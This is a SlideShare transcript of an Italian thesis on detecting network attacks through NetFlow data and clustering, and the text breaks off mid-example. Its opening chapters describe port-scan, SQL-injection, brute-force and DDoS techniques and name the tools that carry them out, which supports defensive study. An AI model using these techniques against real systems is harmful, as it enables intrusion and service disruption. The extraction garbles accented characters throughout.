Rilevamento di attacchi di rete tramite protocolli di monitoraggio per router IP - Report
Upcoming SlideShare
Loading in...5
×

Like this? Share it with your network

Share

Rilevamento di attacchi di rete tramite protocolli di monitoraggio per router IP - Report

  • 897 views
Uploaded on

 

  • Full Name Full Name Comment goes here.
    Are you sure you want to
    Your message goes here
    Be the first to comment
    Be the first to like this
No Downloads

Views

Total Views
897
On Slideshare
896
From Embeds
1
Number of Embeds
1

Actions

Shares
Downloads
11
Comments
0
Likes
0

Embeds 1

http://efesto.cloudapp.net 1

Report content

Flagged as inappropriate Flag as inappropriate
Flag as inappropriate

Select your reason for flagging this presentation as inappropriate.

Cancel
    No notes for slide

Transcript

  • 1. Alma Mater Studiorum · Universita di ` Bologna `SECONDA FACOLTA DI INGEGNERIA CON SEDE A CESENA Corso di Laurea in Ingegneria Informatica RILEVAZIONE DI ATTACCHIDI RETE TRAMITE PROTOCOLLI DI MONITORAGGIO PER ROUTER IP Elaborato in Laboratorio di Reti di Telecomunicazioni Relatore: Correlatore: Presentato da: Walter Cerroni Marco Ramilli Luca Mella Sessione Seconda A.A. 2010/2011
  • 2. Dedicato amia Madre
  • 3. Introduzione Le tematiche relative alla sicurezza dei sistemi informatici hanno, negliultimi decenni, sempre pi` preso piede all’interno del mainstream. uSi pu` dire, in altre parole, che l’enfasi sulla sicurezza di reti e sistemi ha oavuto un andamento proporzionale alla quantit` e qualit` delle informazioni a arese fruibili attraverso internet, quindi, dando uno sguardo al mondo odierno,ci si pu` render conto di quanto queste tematiche siano importanti. Basta opensare a quante volte si sia sentito utilizzare il termine societ` dell’infor- amazione, il che lascia ben intendere la sempre pi` forte interconnessione tra umondo reale e quello virtuale composto da nodi, end-point, servizi e appli-cazioni.Proprio questa forte interconnessione. evolutasi nel tempo, ha svolto il ruolodi motore per lo sviluppo di nuove idee e metodologie per la rilevazione diminacce alla sicurezza di dati o servizi in rete. Infatti, negli anni, si ` cercato edi definire cosa ` un sistema di rilevamento intrusioni (IDS), di categorizzare etali sistemi, di realizzare e validare nuovi approcci pi` efficienti ed efficaci udei precedenti, ma nonostante ci` diverse questioni rimangono ancora oggi oaperte in attesa di nuove metodologie. Quello che si cercher` di fare in questo aelaborato ` proprio proporre nuovi concetti e metodologie finalizzate a rile- evare pi` efficientemente le minacce in rete. uPrima di ogni novit`, occorre delineare bene il contesto in cui ci si sta muoven- ado, in modo da meglio collocare il lavoro proposto nell’elaborato all’internodi tematiche e soluzioni proposte in precedenza.Perci`, nei capitoli seguenti, saranno prima discussi brevemente vari temi tra ocui gli attacchi e minacce tipiche della rete, i differenti approcci per il rile-vamento di intrusioni di rete, le tecniche utilizzate per estrarre informazionidai dati, il protocollo di rete NetFlow, ed infine verr` presentata una nuo- ava metodologia per il rilevamento di attacchi basata appunto sul protocolloNetFlow e sull’analisi di variabili estratte dai flussi di rete tramite algoritmidi data mining, con un approccio similare a quello adottato con successo inprecedenti soluzioni - eg. NIDS SNMP-Based. i
  • 4. IndiceIntroduzione i1 Attacchi Di Rete 1 1.1 Attacchi Di Rete Comuni . . . . . . . . . . . . . . . . . . . . . 1 1.1.1 Port Scanning . . . . . . . . . . . . . . . . . . . . . . . 2 1.1.2 SQL-Injection . . . . . . . . . . . . . . . . . . . . . . . 3 1.1.3 Login Brute-Force . . . . . . . . . . . . . . . . . . . . . 4 1.1.4 Deny (or Degradation) of Service . . . . . . . . . . . . 52 Network Intrusion Detection System - NIDS 7 2.1 Anomaly-based NIDS . . . . . . . . . . . . . . . . . . . . . . . 8 2.2 SNMP-based NIDS . . . . . . . . . . . . . . . . . . . . . . . . 8 2.3 NetFlow-based NIDS . . . . . . . . . . . . . . . . . . . . . . . 103 NetFlow 11 3.1 Infrastruttura NetFlow . . . . . . . . . . . . . . . . . . . . . . 11 3.2 Versione 9 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 12 3.3 NFDump . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 134 Data Mining 17 4.1 Algoritmi Non Supervisionati . . . . . . . . . . . . . . . . . . 17 4.2 Data Clustering . . . . . . . . . . . . . . . . . . . . . . . . . . 18 4.2.1 Algoritmi gerarchici . . . . . . . . . . . . . . . . . . . . 18 4.2.2 Algoritmi Density-based . . . . . . . . . . . . . . . . . 19 4.2.3 Algoritmi Partitivi . . . . . . . . . . . . . . . . . . . . 19 4.3 K-means . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 195 Framework Proposto 21 5.1 Scenario Applicativo . . . . . . . . . . . . . . . . . . . . . . . 21 5.2 Metodologia . . . . . . . . . . . . . . . . . . . . . . . . . . . . 22 5.3 Test-bed . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 25 iii
  • 5. iv INDICE 5.4 Sessioni e Risultati . . . . . . . . . . . . . . . . . . . . . . . . 26 5.4.1 Traffico Neutro . . . . . . . . . . . . . . . . . . . . . . 28 5.4.2 Port Scanning . . . . . . . . . . . . . . . . . . . . . . . 29 5.4.3 SSH Brute Force (SBF) . . . . . . . . . . . . . . . . . 30 5.4.4 DDoS . . . . . . . . . . . . . . . . . . . . . . . . . . . 31 5.4.5 SQL-Injection . . . . . . . . . . . . . . . . . . . . . . . 32 5.4.6 Traffico Realistico . . . . . . . . . . . . . . . . . . . . . 33 5.5 Analisi Dei Dati . . . . . . . . . . . . . . . . . . . . . . . . . . 35 5.5.1 Prestazioni . . . . . . . . . . . . . . . . . . . . . . . . 37 Conclusioni 39 A Configurazioni 41 A.1 Router Cisco . . . . . . . . . . . . . . . . . . . . . . . . . . . 41 A.2 Collector . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 42 B Script Sessioni 45 B.1 Port Scanning . . . . . . . . . . . . . . . . . . . . . . . . . . . 45 B.2 SBF . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 46 B.3 SQL-I . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 46 B.4 DDoS . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 47 B.5 Traffico Realistico . . . . . . . . . . . . . . . . . . . . . . . . . 48 C Script Processamento Dati 51 Bibliografia 55
  • 6. Elenco delle figure 3.1 Architettura logica di un infrastruttura NetFlow . . . . . . . . 12 3.2 Rappresentazione del funzionamento della cache NetFlow . . . 13 3.3 Esempio di report generato con nfdump . . . . . . . . . . . . . 15 5.1 Scenario applicativo di riferimento per NIDS basati su NetFlow 22 5.2 Attivit` per la fase sperimentale . . . . . . . . . . . . . . . . . a 24 5.3 Topologia del testbed . . . . . . . . . . . . . . . . . . . . . . . 26 5.4 Campione di flussi sessione Traffico Naturale . . . . . . . . . . 28 5.5 Campione di flussi sessione Port Scanning . . . . . . . . . . . 29 5.6 Campione di flussi sessione SBF . . . . . . . . . . . . . . . . . 30 5.7 Campione di flussi sessione DDoS . . . . . . . . . . . . . . . . 31 5.8 Campione di flussi sessione SQL-I . . . . . . . . . . . . . . . . 32 5.9 Port Scanning (Xmas scan) con traffico realistico . . . . . . . 33 5.10 SBF con traffico realistico . . . . . . . . . . . . . . . . . . . . 34 5.11 SQL-I con traffico realistico . . . . . . . . . . . . . . . . . . . 34 5.12 DDoS con traffico realistico . . . . . . . . . . . . . . . . . . . 35 v
  • 7. Elenco delle tabelle 2.1 Variabili artificiali significative estratte da interrogazioni SNMP 9 5.1 Statistiche generali sui flussi collezionati . . . . . . . . . . . . 27 5.2 Statistiche del sistema . . . . . . . . . . . . . . . . . . . . . . 36 5.3 Variabili artificiali significative estratte da record NetFlow . . 37 5.4 Risultati Benchmark per calcolo nuove tuple . . . . . . . . . . 38 vii
  • 8. Capitolo 1Attacchi Di Rete Prima di discutere delle metodologie di rilevamento degli attacchi di reteoccorre effettuare una panoramica sulla stato attuale delle tecniche di attac-co pi` diffuse in rete. Infatti, l’elevato grado di sviluppo dell’automazione di uvarie tecniche ha s` permesso agli esperti del settore di velocizzare le proce- ıdure di assessment, ma ha anche dato la possibilit` ad utenti malevoli, pi` o a umeno esperti, di incrementare notevolmente le loro probabilit` di successo e adi conseguenza la loro pericolosit`. Inoltre, l’utilizzo di internet da parte della astragrande maggioranza delle organizzazioni ha portato ad una rapida prolif-erazione di servizi in rete lungo l’ultimo decennio; molto spesso per` questa oespansione non ` stata effettuata con coscienza e conoscenza delle possibili eminacce alle quali si espone la propria organizzazione. Dunque, lo scenarioche si ` profilato negli ultimi anni ` quello di una internet con un’enorme su- e eperficie di attacco ed una buona disponibilit` di tools per testare e sfruttare ale pi` disparate vulnerabilit`. u a1.1 Attacchi Di Rete Comuni Scendendo nel dettaglio, verranno qui presentate brevemente alcune tipolo-gie di attacco ben note in letteratura ed i relativi tool che le implemen-tano. Tale elenco verr` preso in considerazione durante la trattazione della afase sperimentale, nella quale si ` adottato un approccio emulativo, per cui erisulta importante porre enfasi sugli attacchi attualmente pi` presenti nel umainstream. 1
  • 9. 2 1. Attacchi Di Rete 1.1.1 Port Scanning Rientra tipicamente nella fase preliminare di un attacco, infatti all’interno di questa tipologia risiedono numerose tecniche differenti atte a recuperare informazioni su servizi ed host raggiungibili in rete. Infatti forgiando pac- chetti e segmenti ad hoc ` possibile forzare gli end-point di rete a particolari e comportamenti, che possono rilevare la presenza di servizi in ascolto. Tra le varie tecniche di scanning presenti in letteratura sono di rilevante importanza per l’elaborato le seguenti: • TCP SYN Scan, tecnica estremamente popolare anche grazie alla ra- pidit` con cui si possono effettuare scansioni. Consiste sostanzialmente a nell’invio di PDU TCP con SYN flag attivo e nell’interpretazione della risposta ricevuta dal target, ovvero in caso di PDU di risposta con flag SYN-ACK si evince che alla porta sondata ` attivo un servizio, in caso e di risposta con flag Reset (RST) si deduce che non vi ` servizio alla e data porta destinazione, mentre in caso di non risposta si presume che il traffico diretto a tale porta del target sia filtrato da un firewall. • UDP Scan, questa tecnica invece si prefigge l’obiettivo di individuare servizi basati su protocollo UDP. Essa si basa sull’invio di vari pacchet- ti UDP, di contenuto casuale e non, verso un grande numero di porte dell’host target. A differenza del SYN Scan questa tecnica offre meno informazioni in output, infatti viene considerata aperta una porta so- lo se viene ricevuta una pdu di risposta, altrimenti viene considerata chiusa o filtrata, a meno che non si ricevano pacchetti ICMP espliciti di tipo port unreachable. • Xmas Scan, questa tecnica utilizza PDU TCP questa volta con pi` u flag settati (FIN-PSH-URG), si basa anch’essa - come le precedenti tecniche basate su TCP - sulla ricezione di risposte con flag RST, in tal caso infatti le porte destinazione della sonda vengono registrate come chiuse. Differente ` l’interpretazione della non risposta, in questo e caso la porta target ` considerata come aperta oppure filtrata. Se e invece viene ricevuto un pacchetto ICMP port unreachable tale porta ` e marcata come filtrata. • TCP ACK Scan, quest’ultima metodologia di scanning risulta meno precisa rispetto alle precedenti, in quanto ha dei limiti interpretativi delle risposte. Nella fattispecie la PDU TCP sonda ` caratterizzata e dalla presenza del flag ACK settato e la determinazione dello stato della porta sondata si basa solo su risposta ricevuta o non ricevuta. In
  • 10. 1.1 Attacchi Di Rete Comuni 3 dettagli in caso di risposta con flag RST si considera la porta aperta oppure chiusa, mentre in caso di non risposta la si registra come filtrata.Tool di riferimento nmap[13]1 .1.1.2 SQL-Injection Una delle tipologie di attacchi pi` efficace, affligge direttamente i dati udell’organizzazione bersaglio, infatti tramite le falle delle applicazioni2 nellagestione degli input utente, ` possibile recuperare i dati presenti nel DBMS ein backend, generando quindi una pericolosa perdita di controllo delle infor-mazioni. In breve tempo, questa tipologia di attacco, ` divenuta una delle emaggiori piaghe della societ` dell’informazione, anche grazie a quanto la su- aperficie d’attacco sia estesa[18].Pi` dettagliatamente questi attacchi si basano su tecniche che sfruttano la upossibilit` di inserire statement SQL arbitrari all’interno delle query utiliz- azate nell’applicazione target. Varie tecniche sono state affinate nel tempoin maniera da riuscir a portar a termine l’attacco in contesti pi` o meno uvincolati: • Boolean-based blind SQL-I, tradizionale tecnica basata sulla compara- zione delle risposte dell’applicazione in funzione della verit` o falsit` a a dello statement iniettato. Essa ` utilizzabile nei casi in cui a segui- e to dell’iniezione non siano riscontrabili output apprezzabili se non la differenza tra le risposte dell’applicazione. In altre parole lo statement iniettato ` una funzione booleana - pi` o meno complicata - che se risul- e u ta essere vera provoca la generazione di una certa risposta da parte dell’applicazione, mentre see risulta essere falsa ne provoca un’altra, differente dalla precedente. Tramite la distinzione di queste risposte ` e possibile, ad esempio, scandire carattere per carattere ogni record pre- sente nelle tabelle del DBMS di backend ed individuarne il contenuto preciso. • Time-based blind SQL-I, tecnica utilizzata in caso di completa mancan- za di differenza nelle risposte dell’applicazione. La chiave di volta di questo approccio sono gli statement SQL atti far eseguire computazioni alla macchina (eg. BENCHMARK(,) di MySQL ), in modo da ritar- darne la risposta di un tempo arbitrario. Le query iniettate vengono 1 Tra le tecniche implementate ne sono presenti varie che se utilizzate coscentementepermettono il bypassing di Firewall ed IDS[14] 2 L’elaborato porr` enfasi su vulnerabilit` presenti su applicativi web, ci` non toglie che a a oaltre tipologie di servizio possano soffrire di questa particolare falla.
  • 11. 4 1. Attacchi Di Rete preparate in maniera tale per cui se a seguito dell’esecuzione dello state- ment malevolo si ha condizione di verit` verr` eseguito anche il coman- a a do per ritardare la risposta del sistema. Da tale ritardo l’attaccante riuscir` a capire se lo statement iniettato ` stato valutato come vero o a e falso, aprendo uno scenario simile a quello descritto per Boolean-based SQL-I. • Error-based SQL-I, tecnica utilizzabile solo nel caso in cui le descrizioni degli errori del dbms vengano riportati in output anche dalle appli- cazioni stesse. In tal caso risulta possibile iniettare query apposita- mente errate sintatticamente - o semanticamente - per poi apprendere informazioni sulla struttura interna del database proprio in virt` del u messaggio di errore ricevuto. Ad esempio ` con tale tecnica ` possi- e e bile recuperare informazioni riguardanti nomi di campi, di tabelle e di utenti presenti all’interno dei database gestiti dal DBMS in backend. • UNION query SQL-I, tecnica basata sulla preparazione di particolari payload malevoli atti ad unire i risultati di query SQL arbitrarie a quel- li recuperati dalle query originariamente definite all’interno dell’appli- cazione. Gli statement SQL chiave usati per questo genere di attacchi sono appunto quelli di unione - eg. UNION ALL. Tali tipologie di attac- co risultano per` utilizzabili solo nel caso in cui i dati estratti tramite o la query vulnerabile vengano presentati in output dall’applicazione. Tool di riferimento sqlmap[15]. 1.1.3 Login Brute-Force Classica, grezza ma potenzialmente molto pericolosa tipologia di tecniche di attacco, tipicamente attuate dopo una fase di enumerazione dei servizi di rete raggiungibili. Di base si tratta solo di tentativi di accesso perpetrati nel tempo con le pi` disparate credenziali3 , ma con un’analisi pi` approfondita u u delle caratteristiche tipiche degli account, questa tecnica diviene molto pi` u pericolosa di quanto non sembri. Studi effettuati su credenziali reali pubblicate a seguito di attacchi infor- matici di larga scala, ci fanno notare che solo meno dell’1% delle password scoperte sono composte da stringhe pseudocasuali[19]. Ci` significa che con o l’ausilio di wordlist ben fornite, o ancora meglio generate ad hoc[20] a seguito di alcune indagini (prassi comune nel social engineering), si hanno discrete 3 La sessione sperimentale si focalizzer` su una particolare istanza di questa tipologia a di attacco, ovvero SSH Brute Force (SBF)
  • 12. 1.1 Attacchi Di Rete Comuni 5possibilit` di trovare le credenziali corrette. aPotenziali vittime di questa tipologia di attacco sono tutti i servizi raggiun-gibili da un ipotetico attaccante (insider o outsider) ma in pratica i servizitipicamente pi` attaccati sono SSH, demoni DBMS (eg.MySQL), HTTP, uFTP.Tool di riferimento Hydra[16], Ncrack[17].1.1.4 Deny (or Degradation) of Service Si tratta di una grande variet` di tipologie di attacchi - di rete e non - con alo scopo di rendere inusufruibili determinati servizi servizi. Nell’elaborato siporr` enfasi sulle particolari tecniche e strategie adottate per condurre questo agenere di attacchi attraverso reti geografiche.Alcune delle principali tecniche utilizzate per questi attacchi possono essere: • UDP-FLOODING, basato sull’invio di grandissime quantit` di PDU a UDP a varie porte della macchina target, la quale dovr` controllare se a ci sono applicazioni in ascolto sulle porte a cui sono destinati i mes- saggi ed in seguito generare ed inviare pacchetti ICMP port unreach- able, sprecando cos` tempo e risorse originariamente destinate ad altre ı attivit`. a • SYN-FLOODING, che si basa sull’inondamento della macchina target con PDU TCP con flag SYN attivo, in modo da costringere l’host ad allocare risorse - eg. buffer di trasmissione e ricezione - per ognuna delle richieste di connessione fino all’esaurimento delle capacit` della macchi- a na. Tali risorse infatti restano allocate per tutto il tempo in cui l’host effettua le ritrasmissioni delle PDU TCP con flag SYN-ACK4 attivo, per cui se le richieste di connessione hanno cadenze particolarmente elevate c’` il serio rischio di esaurimento delle risorse della macchina e target. • Botnet-Based DDoS, questa branca ti attacchi invece si basa sull’utiliz- zo di grandi insiemi di host compromessi, nei quali ` in esecuzione soft- e ware malevolo pronto a ricevere comandi ed istruzioni dall’attaccante (master). Tali software sono spesso installati sulle macchine tramite l’utilizzo di Trojan i quali, anche grazie alla non curanza degli utenti del web alle pi` basilari precauzioni, permettono al software malevolo u 4 Salvo configurazioni specifiche, le ritrasmissioni vengono effettuate tipicamente ogni3, 6, 12, 24 e 48 secondi in caso di mancata conclusione del 3-Way-Handshake da partedel client
  • 13. 6 1. Attacchi Di Rete (bot) di infettare la macchina. Gli attacchi sferrati tramite Botnet sono spesso difficili da bloccare in quanto simili a un picchi (o creste) di richieste utente, questo proprio in virt` del fatto che effettivamente si tratta richieste di servizio reali, an- u che se non desiderate dall’utente. Questa tipologia di attacco sar` poi a quella scelta come riferimento per la fase sperimentale, infatti attacchi simili a quelli appena descritti possono essere realizzati con script ad hoc o con tool reperibili in rete - eg. LOIC[21]. Da notare che l’obbiettivo di queste tipologie di tecniche pu` non essere o strettamente il blocco del servizio, ma pi` generalmente il degrado delle u prestazioni[22] dello stesso.
  • 14. Capitolo 2Network Intrusion DetectionSystem - NIDS La continua evoluzione delle minacce ai sistemi informatici ha avuto, edha, un ruolo fondamentale nei processi di creazione e miglioramento di siste-mi atti a rilevare attacchi ed a limitarne sia possibili danni ad infrastrutturesoftware che ne, soprattutto, accessi abusivi ad informazioni riservate.Negli ultimi decenni, questa spinta ha portato sia la comunit` accademica ache ne esperti provenienti dal mondo aziendale a numerose discussioni, variepubblicazioni ed a diversi approcci alla rilevazione delle intrusioni. Quindi,prima di mostrare l’approccio proposto risulta importante illustrare la situ-azione attuale.In questo capitolo, per l’appunto, si cercher` di presentare uno scenario, aschematico, sintetico quanto pi` possibile chiaro relativo agli approcci ed ualle metodologie che possono essere caratterizzanti per un sistema di rileva-mento intrusioni, cos` da mettere in luce il contesto in cui viene presentato ıl’approccio proposto dall’elaborato ed il relativo posizionamento all’internodi esso.Si possono individuare 2 differenti approcci logici alla rilevazione delle intru-sioni: • Knowledge-based [3, cap.3.1], basato sulla conoscenza pre-acquisita sugli attacchi, questo approccio ` tipicamente utilizzato nei NIDS commer- e ciali, ove l’obiettivo ` riconoscere particolari pattern - o signature - e all’interno del traffico analizzato. • Behaviour-based [4], basato modelli di comportamento benevolo e sul- la capacit` del sistema di percepire deviazioni del comportamento del a traffico in rete rispetto a tali modelli. 7
  • 15. 8 2. Network Intrusion Detection System - NIDS Un’ulteriore differenziazione pu` essere individuata nelle modalit` con cui il o a NIDS prende coscienza di ci` che accade nell’ambiente: o • Packet-based, basata sull’utilizzo di sniffer, o pi` in generale di sonde, u per il campionamento del traffico di rete in punti strategici. • Host-based [3, cap.3.3], basata sull’utilizzo di host - o anche di nodi di rete - come sorgenti d’informazione. In seguito verranno descritte le caratteristiche di alcuni NIDS che risultano significativi per l’approcio che verr` presentato nell’elaborato. a 2.1 Anomaly-based NIDS L’assunzione implicit` di questa tipologia di NIDS ` che il traffico malevo- a e lo di rete sia una sorta di deviazione rispetto al normale[4, cap.4]. Per questa categoria di NIDS perc` risulta particolarmente importante avere un modello o comportamentale benevolo/normale a disposizione per poter misurare in se- guito il livello di anomalia che presenta il traffico reale. Tipicamente, questi modelli vengono estratti da campioni di traffico reale con l’ausilio di tec- niche di data mining: tali tecniche infatti risultano spesso ideali per via della proibitivit` della mole di dati da processare e della mancanza di conoscenza a a priori delle caratteristiche da ricercare. Alcune criticit` sono state per` rilevate in questa tipologia di NIDS[3, cap.3.1.2]: a o ad esempio ` stata dimostrata la necessit` di rigenerazione periodica dei mod- e a elli comportamentali normali. Infatti, siccome il comportamento del traffico benevolo ` correlato alla tipologia di operazioni effettuate in rete, la nozione e di normalit` pu` variare nel tempo e di conseguenza dare origine a successioni a o di falsi positivi. 2.2 SNMP-based NIDS Altre soluzioni che sono state oggetto di studi sono invece basate su ap- procci ibridi, ad esempio sono stati presentati articoli[5, 6] che propongono interessanti metodologie, dove vengono miscelati approcci basati su logiche behaviour-based e knowledge-based, con hosts come sorgenti di dati per la raccolta delle informazioni. Tali metodologie fanno largo uso di tecniche di data mining[5, cap.2] di tipo non supervisionato 1 , con le quali ` possibile estrarre sia modelli comporta- e mentali benevoli che ne malevoli. Questo approcio si presenta interessante 1 in particolare tecniche di clustering partitive, eg.k-means.
  • 16. 2.2 SNMP-based NIDS 9soprattutto nei casi in cui lo sniffing e l’analisi del traffico di rete si rivelanoun collo di bottiglia per via degli enormi flussi informativi che diverse realt` apossono presentare[5, cap.1]; infatti le informazioni messe a disposizione daSNMP si rivelano particolarmente efficaci ai fini della rilevazione di attacchi,enormemente meno voluminose e quindi pi` efficienti. uPi` dettaglio le sperimentazioni effettuate in [6, 7] su questa tipologia di uNIDS si sono articolate come segue: prima ` stato individuato un insieme eristretto di variabili significative deducibili dai dati disponibili tramite inter-rogazioni SNMP (Tabella 2.2), poi si sono calcolate tali variabili durante pi` usessioni sperimentali ed infine si ` processato il tutto con algoritmi per il data emining. A seguito delle elaborazioni si sono poi ottenuti valori caratteristicidelle variabili per ogni tipologia di attacco emulata sperimentalmente ed, inseguito, si ` proceduto a sessioni di testing con traffico realistico per verificare el’effettiva affidabilit` dei risultati trovati. aI risultati ottenuti dagli studi su questa nuova metodologia presentano unadiminuzione apprezzabilmente del numero di falsi positivi ed una notevoleefficacia nella distinzione di attacchi[5, cap.4.1], infatti dalle verifiche effet-tuate risulta che l’affidabilit` nella distinzione tra traffico malevolo e neutrale asia di oltre il 99%.Tale tipologia di NIDS ` stata presa come modello di riferimento per lo esviluppo del framework proposto. Numero di connessioni TCP aperte (qualsiasi stato) Numero di connessioni TCP in time-wait Numero di connessioni TCP in estabilished Numero di connessioni TCP in syn-received Numero di connessioni TCP in fin-wait Numero di IP remoti con connessione TCP aperta Indirizzo IP remoto con il pi` alto numero di connessioni TCP u Indirizzo IP remoto con il secondo maggior numero di connessioni TCP Indirizzo IP remoto con il terzo numero di connessioni TCP Porta locale TCP con il pi` alto numero di connessioni u Numero di connessioni alla porta TCP con il pi` alto numero di connessioni u Porta locale TCP con il secondo maggior numero di connessioni Numero di segmenti TCP RST inviatiTabella 2.1: Variabili artificiali significative estratte da interrogazioni SNMP
  • 17. 10 2. Network Intrusion Detection System - NIDS 2.3 NetFlow-based NIDS In alcuni articoli sono stati presentati studi[1] e framework[2] dove sono oggetto di discussione i possibili utizzi di protocolli NetFlow2 -like all’interno di sistemi per il rilevamonto delle intrusioni di rete. Questa nuova tipologia di NIDS, infatti, non identifica pi` come sorgente di informazione ne pacchetti u ne end-point, ma bens` gli intermediate system (IS), come ad esempio router ı ip, switch ed hub. I risultati pubblicati sugli studi di NIDS basati su NetFlow dimostrano che dalle informazioni raccolte sui flussi ` possibile rilevare dagli attacchi di rete e pi` comuni all’attivit` di worm presenti in macchine infette. Nella fattispecie u a sono stati utilizzate pi` metodologie per effettuare tali rilevazioni: u • in [1] i flussi collezionati vengono sottoposti ad un procedimento in stile analisi forense, dove si effettuano valutazioni sulla base della conoscen- za del comportamento della minaccia. Ad esempio viene mostrato come sia possibile individuare attacchi DoS e DDoS osservando le corre- lazioni temporali tra i vari flussi, o come determinare la presenza di worm sulla base di flussi diretti a porte note[1, cap.4]. Tali sperimen- tazioni delineando delineano quindi un approccio pi` Knowledge-based u al rilevamento delle intrusioni. • in [2] viene invece proposto un framework che interpreta i dati raccolti attraverso i flussi e li presenta graficamente a video. In dettaglio, viene preparata un immagine nella quale ogni pixel rappresenta un partico- lare indirizzo ip - pixel vicini corrispondono ad ip vicini - ed associato ad ognuno di essi una sfumatura di colore calcolata in base al traffico generato dal nodo[2, cap.4.2] - ad esempio nero significa niente traffico. Tale approccio[2, cap.5.1], unito alle statistiche ricavate dai flussi su porte e indirizzi[2, cap.5.2], ha permesso di individuare agevolmente la presenza di worm all’interno delle reti monitorate notando attivit` a anomale e riconoscendo pattern comportamentali noti del malware in azione. Nel framework che verr` proposto si tender` invece a preferire un’approc- a a cio ibrido basato sull’estrazione di variabili significative e soglie caratteris- tiche dalle informazioni sui flussi di rete recuperate tramite NetFlow. 2 NetFlow ` un protocollo sviluppato da Cisco per il monitoring dei flussi di rete. Vedi e capitoli seguenti.
  • 18. Capitolo 3NetFlow NetFlow non ` semplicemente un protocollo di rete, ma bens` una tec- e ınologia sviluppata da Cisco per il monitoring del traffico di rete che, a suavolta, fa uso di un protocollo di comunicazione ad hoc per esportare le infor-mazioni raccolte.Questo particolare servizio di monitoring si basa sul concetto di flusso di rete(network flow, appunto), che viene definita come una 7-pla[12]: • Source IP, indirizzo ip sorgente. • Destination IP, indirizzo ip destinazione. • Source Port, TSEL sorgente (UDP/TCP), 0 se non supportato. • Destination Port, TSEL destinazione (UDP/TCP), 0 se non supporta- to. • Layer 3 Protocol, protocollo di rete. • Class of Service, Indicatore di tipologia di servizio utilizzato per la gestione ottimale dei flussi in rete, ne esistono diverse implementazioni, eg. ToS byte (DSCP) nell’header IPv4[12]. • Interface, interfaccia d’ingresso dell’IS.3.1 Infrastruttura NetFlow L’architettura logica di un’infrastruttura NetFlow[10, cap.2] si basa supochi semplici elementi e risulta perci` di agevole comprensione e deploy- oment: 11
  • 19. 12 3. NetFlow Figura 3.1: Architettura logica di un infrastruttura NetFlow • NetFlow Record, contenente informazioni riguardo ad un particolare flusso. • NetFlow Cache, cache sull’IS dove vengono mantenuti i NetFlow Record1 . Vedi fig:3.1. • NetFlow Exporter, servizio che invia - come Export Packet - i record presenti in cache ad una o pi` destinazioni. u • NetFlow Collector, end-point destinazione delle PDU NetFlow (Export Packet). 3.2 Versione 9 La versione del protocollo NetFlow di riferimento per l’elaborato ` la 9, e che dal 2009 gode di ampia diffusione all’interno dei dispositivi di rete Cisco. Questa versione differisce notevolmente dalle precedenti in quanto il proto- collo ` stato reso estendibile e configurabile, infatti sono stati abbandonati e 1 Il comportamento della cache ` configurabile in base a tempo di validit` dei record e e a comportamento dopo l’esportazione dei record
  • 20. 3.3 NFDump 13 Figura 3.2: Rappresentazione del funzionamento della cache NetFlowi campi statici che caratterizzavano le versioni precedenti, ed adottata unalogica TLV (Tag Length Value)[11] per la descrizione dei dati trasmessi. Conquesta versione realizzata una notevole flessibilit` del protocollo, il quale pu` a otrasportare solo i dati necessari e, soprattutto, pu` essere riutilizzato in caso odi aggiunta di nuove tipologie di informazioni sui flussi. Nel dettaglio, laPDU NetFlow v9 viene separata in vari segmenti logici[10]: +--------+--------------------------------------------------------+ | Packet | | Template | | Data | | Options | | Data | | | Header | | FlowSet | | FlowSet | ... | Template | | FlowSet | | +--------+--------------------------------------------------------+Dove nel segmento Template FlowSet viene descritto il formato dei dati pre-senti in Data FlowSet, in particolare ` presente una entry tipologia/lunghezza e(TL) per ogni campo nel segmento dati, dove invece sar` solo presente una alista di valori (V).Ovviamente non ` stato riportato tutto il formato delle PDU NetFlow in equanto non rilevanti ai fini dell’elaborato. Tale versione di NetFlow meritavaper` una sintetica panoramica in quanto risulta essere un protocollo maturo, oavendo raggiunto un buon livello di stabilit` e flessibilit` comparabile a quelli a adei pi` celebri protocolli di monitoraggio (e gestione) di rete - eg. SNMP. u3.3 NFDump Esistono vari tool per interagire con dispositivi NetFlow-enabled, tra itanti spicca per per flessibilit` e semplicit` d’uso NFDUMP[23], che appunto a a
  • 21. 14 3. NetFlow ` stato scelto come riferimento per l’elaborato. e Pi` che ne un singolo tool si tratta di una suite completa dalla cattura dei u flussi sin alle prime, pi` basilari, elaborazioni per la presentazione di report. u Infatti al suo interno sono disponibili i seguenti software: • nfcapd, ` il demone di cattura, si pone in ascolto su una data porta e e salva su file ogni PDU NetFlow che gli giunge. Ha alcune funzionalit` a avanzate che possono risultare molto utili in fase sperimentale come ad esempio la rotazione automatica dei file ogni n minuti e la possibilit`a di lanciare comandi in automatico ogni volta che ci` accade. o • nfdump, ` il tool per le prime elaborazioni sulle catture, elabora i file e contenti le PDU NetFlow e permette di sfruttare diversi formati di rap- presentazioni dei flussi (eg.csv). Inoltre rende possibile un primo stage di processamento rendendo possibile il raggruppamento dei flussi sec- ondo campi arbitrari, ovvero permette di aggregare secondo n-ple non standard. Apprezzabile anche il supporto alle statistiche, alcune delle quali calcolate automaticamente ad ogni elaborazione. Nella fattispecie si pu` disporre informazioni su totale flussi, totale byte transitati, totale o pacchetti, e varie medie relative al periodo. • nfprofile, ` sostanzialmente un filtro per PDU NetFlow, infatti permette e di raffinare i dati catturati da nfcapd secondo pattern arbitrari. • nfreplay, sostanzialmente un relay per PDU NetFlow, una volta config- urato legge i file catturati da nfcapd e gli inoltra ad un’altro host. Pu` o risultare interessante per accentrare i dati in scenari distribuiti. • nfclean.pl, semplice script per eliminare i dati delle vecchie catture. • ft2nfdump, permette di importare dati dalla suite flow-tools Per render pi` chiare le modalit` di utilizzo ed i dati forniti verr` mostrata u a a una semplice configurazione di base seguita da un esempio di utilizzo. Nel dettaglio, per lanciare il demone nfcapd in ascolto sulla porta 9996, su tutte le interfaccie, con cartella per il salvataggio delle catture la directory “./folder ” e periodo di rotazione file 2 minuti: nfcapd -p 9996 -t 120 -l ./folder In seguito possiamo visualizzare i flussi raccolti attraverso nfdump, in par- ticolare vogliamo visualizzare tutti i record NetFlow catturati in modalit`a testuale estesa:
